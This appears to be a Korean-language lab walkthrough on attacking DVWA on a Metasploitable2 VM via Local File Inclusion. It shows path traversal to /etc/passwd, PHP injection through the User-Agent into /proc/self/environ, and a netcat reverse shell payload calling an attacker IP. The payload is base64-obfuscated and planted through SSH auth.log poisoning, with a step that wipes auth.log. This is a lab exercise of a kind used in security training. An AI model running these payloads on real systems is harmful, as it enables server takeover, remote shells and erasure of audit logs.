LFI(Local File Inclusion)

LFI(Local File Inclusion)

웹브라우저를 통해서 서버에 파일을 포함시키는 과정의 공격

원할한 공격을 위해 meta의 보안레벨을 low로 설정.

이 규칙에 의해 밑에 실습이 허용된다.

url을 일부로 오류를 내게되면

위의 그림과 같이 에러메세지가 출력되는데, 이것을 통해 폴더 안에 정보를 확인할 수 있다. 

이부분을 var/www/dvwa/vulnerabilities/fi/index.php 

현재위치가 var/www/dvwa/vulnerabilities/fi 총 5개로

../../../../../ -> root로 돌아온것이구 여기서 보고싶은 파일 이름을치면

아래와 같이 /etc/passwd의 파일 내용을 볼 수 있다.

같은방법으로 /var/www/dvwa/robots.txt파일의 내용도

../../../../../var/www/dvwa/robots.txt

프록시

자신의 위치를 속일 수 있음.

클 -> 프 -> 서

클 -> 프 //클라 ip -> 프록시에게 전송

  //클라는 127.0.0.1에 포트 8080 오픈

프 -> 서 //프록시 ip -> 서버에게 전송

burp-StartBurp //프록시 실행 프로그램

// 127.0.0.1 8080 으로 실행

파이어폭스에서

설정한 ip와 포트번호

세션을 맺었기 때문에 아래와 같이 로그가 남는다.

헤더의 정보를 이런식으로 확인할 수 있다.

[인터셉트를 통해 php문 삽입]

1.  인터셉트를 온으로 한다.

2.url에 http://meta/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ을 입력. 

3. 아래와 같이 탈취를하게 되는데, user-agent부분을 

<?php phpinfo() ?>로 변경

4. 요청한 페이지가 phpinfo()로 변경되어 접속이 된다.

아래와 같이 신분증과 같은역할의 값을 확인할 수 있다.

php 함수 중 passthru()

외부 프로그램을 실행하고 실행하는 동안 화면을 실시간으로 출력하는 함수 즉, 원격 접속과 비슷하다.

<?php passthru() ?>

netcat 프로그램 사용

-l  옵션 : 임의의 포트를 열어 원격접속이 가능하게 함. listen port

-p 옵션 : 포트 번호 지정

-e 옵션 : 셸을 실행

nc -vvlp 8888 //8888 포트를 개방하고 자세히 출력

열린 것 을 확인.

netstat -ant |grep 8888

<?php passthru("nc -e /bin/sh [공격자 IP] [열어놓은포트번호]"); ?>

<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>

이런식으로 원격접속이 가능하게 된다.

cd /var/www/dvwa

vi index.php 수정

[SSH 연결을 통해 원격관리]

SSH TCP 22 암호화된 연결제공

ssh -l msfadmin 192.168.232.131 

ssh msfadmin@192.168.232.131

원할한 테스트를위해 메타스플로잇2의 로그를삭제.

vi /var/log/auth.log

:%d   //안에 값을 전부삭제

:wq //저장

ssh를 통해 아무 아이디로 로그인

ssh random@192.168.232.131

위의 로그인했던 정보가 auth.log에 기록된다.

wireshark로 확인해 보면 암호화로 되는 것을 볼 수 있다.

burp suite에서 decoder를 통해 아래 문장을 변환한다.

nc -e /bin/sh 192.168.232.100 8888 

bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA 암호화된 문장을 php의 추가

==을 삭제해야 실행된다.

base64로 암호화 했기 때문에 base64_decode를 붙여준다.

<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>

msfadmin@192.168.232.131  //빨간색으로 대체.

ssh "<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>"@192.168.232.131

비번 아무거나 입력

이렇게 원격 접속이 된다.